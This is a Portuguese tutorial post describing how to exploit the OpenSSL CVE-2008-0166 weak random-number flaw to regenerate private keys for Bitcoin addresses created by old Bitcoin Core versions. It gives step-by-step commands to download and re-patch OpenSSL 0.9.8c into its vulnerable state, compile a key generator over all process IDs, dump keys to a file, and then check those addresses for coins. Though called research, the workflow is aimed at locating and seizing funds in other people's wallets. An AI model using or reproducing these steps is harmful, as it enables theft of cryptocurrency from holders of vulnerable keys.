
Pesquise por moedas BTC em versões anteriores do Bitcoin Core com a vulnerabilidade crítica OpenSSL 0.9.8 CVE-2008-0166
Neste artigo, criaremos uma ferramenta que gerará Endereços Bitcoin (P2PKH) usando a vulnerabilidade CVE-2008-0166. Este é um projeto de pesquisa para encontrar moedas BTC em versões anteriores do cliente de software Bitcoin Core.
Gerador de números aleatórios que gera números previsíveis CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Detectado
A versão de vulnerabilidade crítica OpenSSL 0.9.8 CVE-2008-0166 foi populada apenas com o ID do processo. Devido às diferenças entre endianness e sizeof(long), a saída depende da arquitetura: 32 -bits big endian (por exemplo, i386), 64 -bits big endian (por exemplo, amd64, ia64), 32 -bits big endian (por exemplo, powerpc, sparc). PID 0 é o núcleo, e PID_MAX ( ) não é alcançado por portabilidade, então havia fluxos de números aleatórios possíveis para cada arquitetura.

O cliente de software Bitcoin Core usa o OpenSSL. Especificamente, ele usa uma função «EC_KEY_generate_key()» para gerar Endereços Bitcoin (como uma chave) para receber pagamentos. Versões antigas do Bitcoin Core geram e armazenam 100 chaves em wallet.dat
Uma nova chave é gerada apenas quando um pagamento Bitcoin é recebido. Assim, o cliente de software Bitcoin Core mantém um pool de 100 Chaves Bitcoin não utilizadas (endereços). O estado do gerador de números aleatórios interno depende de quais outras chamadas foram feitas à biblioteca OpenSSL antes da chamada 'EC_KEY_generate_key()'. Desafios que afetam o estado interno do RNG: «RAND_add(8)», «RAND_bytes(8)» e «RAND_bytes(32)».
Então a pesquisa foi percorrer muitas fontes antigas do bitcoin para descobrir quais chamadas foram feitas que afetaram o estado interno do RNG antes da chamada «EC_KEY_generate_key()». O caminho de chamada muda entre versões do cliente de software Bitcoin Core
O estudo focou nas seguintes versões:

Nosso objetivo é gerar chaves privadas para cada versão do cliente de software Bitcoin Core, para cada arquitetura (le32/le64), para cada ID de processo e para Endereços Bitcoin (P2PKH), usando um número aleatório de uma vulnerabilidade crítica. OpenSSL 0.9.8.
Por fim, criaremos um Gerador de Endereços Bitcoin (P2PKH) e tudo será salvo em um arquivo result.txt

Para isso, usaremos o kit de distribuição «Ubuntu 18.04.5 LTS» do Google Colab

Anteriormente, gravamos uma instrução em vídeo: «TERMINAL no Google Colab cria todas as conveniências para trabalhar no GITHUB»
Abra o Google Colab em Terminal [TerminalGoogleColab]
Vamos executar o comando:
cat /etc/lsb-release
Vamos ao «CryptoDeepTools» repositório e dar uma olhada nos detalhes
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

Atualize e instale g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Para tornar o OpenSSL vulnerável novamente como em CVE-2008-0166
Baixe openssl-0.9.8c.tar.gz e aplique patches nos arquivos do sistema
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Tudo será salvo no armazenamento de arquivos Google Drive como um arquivo de texto result.txt


Em seguida, resta verificar todos os Endereços Bitcoin gerados para a presença de moedas BTC, para isso podemos usar o script Python : bitcoin-checker.py
Vídeo: https://youtu.be/zHkXups2I8k
| Endereço de Doação | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |